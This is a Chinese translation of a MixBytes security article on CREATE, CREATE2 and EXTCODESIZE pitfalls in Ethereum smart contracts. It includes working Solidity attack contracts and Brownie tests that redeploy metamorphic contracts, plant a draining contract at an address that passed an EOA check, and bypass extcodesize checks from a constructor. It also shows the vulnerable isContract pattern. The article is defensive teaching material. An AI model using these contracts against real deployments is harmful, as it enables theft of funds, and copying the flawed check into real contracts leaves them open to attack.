使用 CREATE、CREATE2 和 EXTCODESIZE 操作码的陷阱

  • mixbytes
  • 发布于 15小时前
  • 阅读 96

本文深入探讨了以太坊虚拟机(EVM)的 CREATE 和 CREATE2 操作码,分析了它们在智能合约创建中的不同特性和潜在安全隐患。作者通过具体示例展示了这些操作码在实际应用中的攻击场景,并提出了相应的安全建议,使读者对智能合约开发及安全性有了更深刻的理解。

作者:Alexander Mazaletskiy - MixBytes 的安全研究员

CREATE 和 CREATE2 操作码

如你所知,在 EVM 中有两个操作码用于从另一个智能合约创建和创建2智能合约。这些合约也称为工厂。

每个操作码都有其自身的特性和陷阱。

让我们看看 CREATE 和 CREATE2 操作码之间的区别:

一个重要的区别在于新合约地址的确定方式。

使用 CREATE 时,地址是由工厂合约的 nonce 确定的。每当在工厂中调用 CREATE 时,其 nonce 将增加 1。

这种方法是非常有争议的,最近与 Optimism 相关的黑客事件就与此有关。 https://rekt.news/wintermute-rekt/

使用 CREATE2 时,地址是由任意的 salt 值和 init_code 确定的。

CREATE2 的一个重大优势是,目标地址不依赖于调用时工厂的确切状态(即 nonce)。这允许在链下模拟交易结果,这是许多基于状态通道的扩展方法中的一个重要部分。

CREATE

  • 哈希创建它的账户的地址。
  • 哈希“账户 nonce”,相当于到目前为止账户完成的交易数量。
  • new_address = keccak256(sender, nonce); // 通过 RLP 编码 [sender, nonce]

CREATE2

  • 0xFF,一个常量。

  • 部署者的地址,因此智能合约地址是发送 CREATE2 的地址。

  • salt 是随机的。

  • 将在特定地址上部署的已哈希字节码。

new_address = keccak256(0xFF, sender, salt, bytecode);

然而,在 EIP-1014 中激活 CREATE2 的 Constantinopol 硬分叉也引发了安全担忧。

如果在 Constantinopol 之前,合约部署模型有 3 种状态:

“尚未部署”、“已部署”或“自毁”,

那么在 Constantinopol 之后,变为 4 种状态:

“尚未部署”、“已部署”、“自毁”、“重新部署”。

这意味着什么?这意味着合约可以使用 CREATE2 操作码重新部署到其他字节码。

作为这种行为的示例,考虑一下 Metamorphic Contracts。

有关更多详情和变形合约的信息,请访问:

https://0age.medium.com/the-promise-and-the-peril-of-metamorphic-contracts-9eb8b8413c5e

让我们考虑最可能的攻击情况。

攻击

案例 1. 使用不同的字节码重新部署

有两个不同的合约 ContractOne.sol 和 ContractTwo.sol。

代码

pragma solidity 0.8.16;

/**
 * @title ContractOne
 * @notice 这是一个示例变形合约的第一个实现。
 */
contract ContractOne {
  uint256 private _x;

  /**
   * @dev 测试函数
   * @return value 一旦初始化为 1(否则为 0)
   */
  function test() external view returns (uint256 value) {
    return _x;
  }

  /**
   * @dev 初始化函数
   */
  function initialize() public {
    _x = 1;
  }

  /**
   * @dev 销毁函数,它允许变形合约被重新部署。
   */
  function destroy() public {
    selfdestruct(payable(msg.sender));
  }
}
pragma solidity 0.8.16;
/*
 * @title ContractTwo
 * @notice 这是一个示例变形合约的第二个实现。
 */
contract ContractTwo {
  event Paid(uint256 amount);

  uint256 private _x;

  function initialize() public {
  }
  /**
   * @dev 可支付的回退函数,发出一个记录付款的事件。
   */
  receive () external payable {
    if (msg.value > 0) {
      emit Paid(msg.value);
    }
  }

  /**
   * @dev 测试函数
   * @return value 0 - 存储没有从第一次实现中继承。
   */
  function test() external view returns (uint256 value) {
    return _x;
  }
}

攻击

test/test_metamorphic_contracts.py

import pytest
from brownie import ContractOne, ContractTwo

init_code_hash = '0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3'

def test_deploy(sender, metamorphic):

    assert metamorphic._metamorphicContractInitializationCode() == init_code_hash

    # 部署 ContractOne
    tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', ContractOne.bytecode, '0x8129fc1c', {"from": sender})

    deployed_address = tx.events['Metamorphosed']['metamorphicContract']

    deployed_contract = ContractOne.at(deployed_address)

    assert deployed_contract.test() == 1

    # 自毁 ContractOne
    deployed_contract.destroy({"from": sender})

    # 部署 ContractTwo
    tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', ContractTwo.bytecode, b"", {"from": sender})

    deployed_address_new = tx.events['Metamorphosed']['metamorphicContract']

    deployed_contract_new = ContractTwo.at(deployed_address_new)

    assert deployed_contract_new.test() == 0

    # 合约重新部署
    assert deployed_address == deployed_address_new

案例 2. 将字节码部署到预定义地址

假设有一个特定地址。使用 EXTCODESIZE 操作码,可以验证该地址是一个 EOA 还是一个智能合约。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Target2 {
    function isContract(address account) public view returns (bool) {
        // 此方法依赖于 extcodesize,对于正在构造中的合约返回 0,
        // 因为代码仅在构造函数执行结束时存储。
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

}
contract SimpleContract2 {
    bool public isContract;
    address public addr;
    address public target;
    uint256 public balance;

    receive () external payable {
        if (msg.value > 0) {
            balance += msg.value;
        }
    }

    // 当合约正在被创建时,代码大小 (extcodesize) 为 0。
    // 这将绕过 isContract() 检查。
    constructor(address _target) payable  {
        target = _target;
    }

    function setAddr(address _addr) external {
        require(!Target2(target).isContract(_addr), "不允许合约地址");
        addr = _addr;
    }

    // 只为用户从合同中提取以太
    function sweep(uint256 _value) external {
       require(msg.sender == addr, "不允许的地址");

        // 如果我们有余额发送给用户
       if (balance <= _value) {
            _value = balance;
       }

        if (_value > 0) {

            balance -= _value;

            (bool sent,) = payable(addr).call{value: _value}("");
        }
    }
}
contract Hack2 {
    address public hacker;

    function setHacker(address _hacker) external {
        hacker = _hacker;
    }

    receive () external payable {
        if (msg.value > 0) {
            payable(hacker).send(msg.value);
            (bool success, bytes memory data) = msg.sender.call(abi.encodeWithSignature("sweep(uint256)", msg.value));

            require(success, "未成功");
        }
    }

    function drain(address _contract) external {
        (bool success, bytes memory data) = _contract.call(abi.encodeWithSignature("sweep(uint256)", 0.1 ether));

        require(success, "未成功");
    }
}

这段代码实现了以下功能(请勿在生产中使用此示例,仅仅用于潜在攻击的演示):

  1. 设置一个可以提取合约中以太的 EOA 地址,通过 setAddr,这意味着该地址不是智能合约。

  2. 允许提取已设置的 addr 中的以太。

攻击

test/conftest.py

import pytest

from brownie import Target2

@pytest.fixture
def target_2(Target2, sender):
    target_2 = sender.deploy(Target2)

    yield target_2

@pytest.fixture
def target_2(Target2, sender):
    target_2 = sender.deploy(Target2)

    yield target_2

test/test_create2_is_contract.py

from brownie import SimpleContract2, Hack2
from brownie.network import accounts

init_code_hash = '0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3'

def test_hack_2(sender, metamorphic, target_2, hacker_1, hacker_2, SimpleContract2, Hack2):

    # 获取 Addr
    addr = metamorphic.findMetamorphicContractAddress(sender.address + '000000000000000000000000')

    sender.transfer(addr, "1 ether")

    addr_account = accounts.at(addr, force=True)

    assert addr_account.balance() == 1e18

    # 部署 SimpleContract2
    simple_contract_2 = sender.deploy(SimpleContract2, target_2.address)

    # 设置 Addr 作为 EOA
    simple_contract_2.setAddr(addr)

    # 将代码部署到 addr
    tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', Hack2.bytecode, b"", {"from": sender})

    deployed_addr = tx.events['Metamorphosed']['metamorphicContract']

    assert deployed_addr == addr

    deployed_addr_account = accounts.at(addr, force=True)

    assert deployed_addr_account .balance() == 1e18

    hack_2 = Hack2.at(deployed_addr)

    hack_2.setHacker(hacker_1, {"from": sender})

    sender.transfer(simple_contract_2, "1 ether")

    balance_hacker_1_before = hacker_1.balance()

    # 清除 SimpleContract2 的余额
    tx = hack_2.drain(simple_contract_2, {"from": hacker_2})

    simple_contract_2_account = accounts.at(simple_contract_2, force=True)

    assert simple_contract_2_account.balance() == 0

    balance_hacker_1_after = hacker_1.balance()

    assert balance_hacker_1_before < balance_hacker_1_after

EXTCODESIZE

在上面的示例中,代码使用的是 isContract() 函数,该函数又使用了 EXCODESIZE 操作码。

function isContract(address account) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

这个想法很简单:如果一个地址包含代码,则它不是 EOA,而是一个合约账户。

然而,合约在构造期间没有代码可用。

示例

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Target1 {
    function isContract(address account) public view returns (bool) {
        // 此方法依赖于 extcodesize,对于正在构建中的合约返回 0,
        // 因为代码仅在构造函数执行结束时存储。
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "不允许合约地址");
        pwned = true;
    }
}

contract FailedAttack1 {
    // 尝试调用 Target.protected 将会失败,
    // Target 阻止来自合约的调用
    function pwn(address _target) external {
        // 这将失败
        Target1(_target).protected();
    }
}

contract Hack1 {
    bool public isContract;
    address public addr;

    // 当合约正在被创建时,代码大小 (extcodesize) 为 0。
    // 这将绕过 isContract() 检查
    constructor(address _target) {
        isContract = Target1(_target).isContract(address(this));
        addr = address(this);
        // 这将成功
        Target1(_target).protected();
    }
}

安全建议

不幸的是,目前没有单一的方法来防止使用 create2 的攻击。然而,一种可能的安全措施是使用 EXTCODEHASH 字节码,并基于接收到的哈希创建字节码白名单。

有关更多的信息,请参阅 这里

在检查外部调用时谨慎使用 EXTCODESIZE。

结论

使用 CREATE 和 CREATE2 提供了创建合约工厂的巨大机会,但也带来了巨大的危险。

CREATE2 应该比 CREATE 更好,但实际上却产生了更多问题。

使用 EXTCODESIZE 阻止智能合约攻击并不是一个安全的解决方案。

相关链接

CREATE,CREATE2

https://learnblockchain.cn/article/12423

https://learnblockchain.cn/article/12422

深入了解 CREATE2

https://blog.cotten.io/ethereums-eip-1014-create-2-d17b1a184498

https://forum.openzeppelin.com/t/selfdestruct-and-redeploy-in-the-same-transaction-using-create2-fails/8797/4

https://consensys.net/diligence/blog/2019/02/smart-contract-security-newsletter-16-create2-faq/

变形合约

https://0age.medium.com/the-promise-and-the-peril-of-metamorphic-contracts-9eb8b8413c5e

EXTCODESIZE

https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/extcodesize-checks/

EXTCODEHASH

https://soliditydeveloper.com/extcodehash

  • MixBytes 是谁?

MixBytes 是一个由专家区块链审计员和安全研究人员组成的团队,专注于为 EVM 兼容和 Substrate 基础项目提供全面的智能合约审计和技术咨询服务。请关注我们的 X,以便随时了解最新的行业趋势和见解。

  • 原文链接: mixbytes.io/blog/pitfall...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
mixbytes
mixbytes
Empowering Web3 businesses to build hack-resistant projects.